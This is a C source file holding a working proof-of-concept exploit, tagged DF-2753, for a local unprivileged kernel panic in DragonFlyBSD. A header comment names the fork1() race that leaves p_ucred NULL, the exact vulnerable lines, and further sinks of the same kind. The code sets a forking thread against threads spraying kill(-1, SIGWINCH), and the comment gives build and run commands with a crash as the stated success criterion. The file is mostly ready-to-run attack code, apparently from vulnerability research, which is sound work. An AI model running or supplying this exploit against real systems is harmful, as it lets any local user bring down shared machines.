DF-2753 / sidl_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-2753 -- DragonFlyBSD kernel NULL-pointer-deref panic (local, unprivileged) * ========================================================================== * * BUG: fork1() (sys/kern/kern_fork.c) publishes the embryonic SIDL child to * the allproc list + pid hash at line 491 (proc_add_allproc) BEFORE * initializing it: * * kern_fork.c:491 proc_add_allproc(p2); <- visible, in pidhash * kern_fork.c:496 bcopy(&p1->p_startcopy, ...) <- p2->p_pgrp set here * kern_fork.c:509 p2->p_ucred = crhold(...) <- p2->p_ucred set here * * pfind() (kern_proc.c:502) and allproc_scan() (kern_proc.c:1401) filter only * SZOMB, not SIDL. kill(-1, sig) walks allproc via allproc_scan() -> * killpg_all_callback() (kern_sig.c:714) -> CANSIGNAL() -> p_trespass(cr1, * p->p_ucred) (kern_prot.c:1023). With p->p_ucred == NULL: * * - unjailed attacker: PRISON_CHECK short-circuits (cr_prison==NULL), then * caps_get(NULL, SYSCAP_RESTRICTEDROOT) (kern_prot.c:1038) derefs NULL. * - jailed attacker: PRISON_CHECK itself does (NULL)->cr_prison. * * -> Fatal trap 12: page fault while in kernel mode, VA ~0x0. * * Same-class sinks (all unprivileged, no token held before deref): * getsid(pid) kern_prot.c:153 pt->p_session->s_sid * (p_session == p_pgrp->pg_session, proc.h:344; * p_pgrp NULL until the bcopy at kern_fork.c:496) * sched_getscheduler(pid) & friends * kern_p1003_1b.c:151 CAN_AFFECT -> p_ucred->cr_ruid * ptrace(PT_ATTACH, pid) sys_process.c:153 PRISON_CHECK (jailed) * sysctl kern.proc.pid.<pid> kern_proc.c:1690 PRISON_CHECK (jailed) * * PoC STRATEGY: one thread forks in a tight loop (children _exit(0) * immediately); several threads spray kill(-1, SIGWINCH) (SIGWINCH default * action is Ignore, so nothing is harmed -- the panic happens inside the * permission check BEFORE any signal is delivered). Each fork() exposes a * ~0.4us window per embryonic proc; each kill(-1) scan derefs p_ucred of * every proc on the machine. On an SMP guest this hits within seconds. * * Build: cc -O2 -Wall -pthread -o sidl_race sidl_race.c * Run: ./sidl_race [seconds] [kill_threads] * Success criterion: kernel panic "Fatal trap 12: page fault while in kernel * mode" with fault VA < PAGE_SIZE (serial console / vm.sh log); ssh dies. */ #include <sys/types.h> #include <sys/wait.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> static volatile sig_atomic_t stop = 0; static volatile unsigned long n_forks = 0, n_kills = 0, n_reaped = 0; static void * forker(void *arg) { pid_t pid; while (!stop) { pid = fork(); if (pid == 0) _exit(0); /* child: vanish immediately */ if (pid > 0) n_forks++; /* opportunistic reap to stay under nprocs limits */ while (waitpid(-1, NULL, WNOHANG) > 0) n_reaped++; } return (NULL); } static void * reaper(void *arg) { while (!stop) { while (waitpid(-1, NULL, WNOHANG) > 0) n_reaped++; usleep(200); } return (NULL); } /* * kill(-1, sig): broadcast scan of every process. SIGWINCH is ignored by * default everywhere, so the only effect is exercising CANSIGNAL() on every * proc on the system -- including any embryonic SIDL proc sitting in the * kern_fork.c:491->509 window with p_ucred == NULL. */ static void * killer(void *arg) { while (!stop) { kill(-1, SIGWINCH); n_kills++; } return (NULL); } int main(int argc, char **argv) { int seconds = (argc > 1) ? atoi(argv[1]) : 60; int nkill = (argc > 2) ? atoi(argv[2]) : 4; pthread_t tf, tr, tk[16]; int i; setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2753 SIDL race: %d s, %d killer threads, pid %d\n", seconds, nkill, (int)getpid()); pthread_create(&tf, NULL, forker, NULL); pthread_create(&tr, NULL, reaper, NULL); for (i = 0; i < nkill; i++) pthread_create(&tk[i], NULL, killer, NULL); for (i = 0; i < seconds; i++) { sleep(1); printf("t=%2d forks=%lu kills=%lu reaped=%lu\n", i + 1, n_forks, n_kills, n_reaped); } stop = 1; sleep(1); printf("SURVIVED: forks=%lu kills=%lu reaped=%lu (no panic)\n", n_forks, n_kills, n_reaped); return (0); } |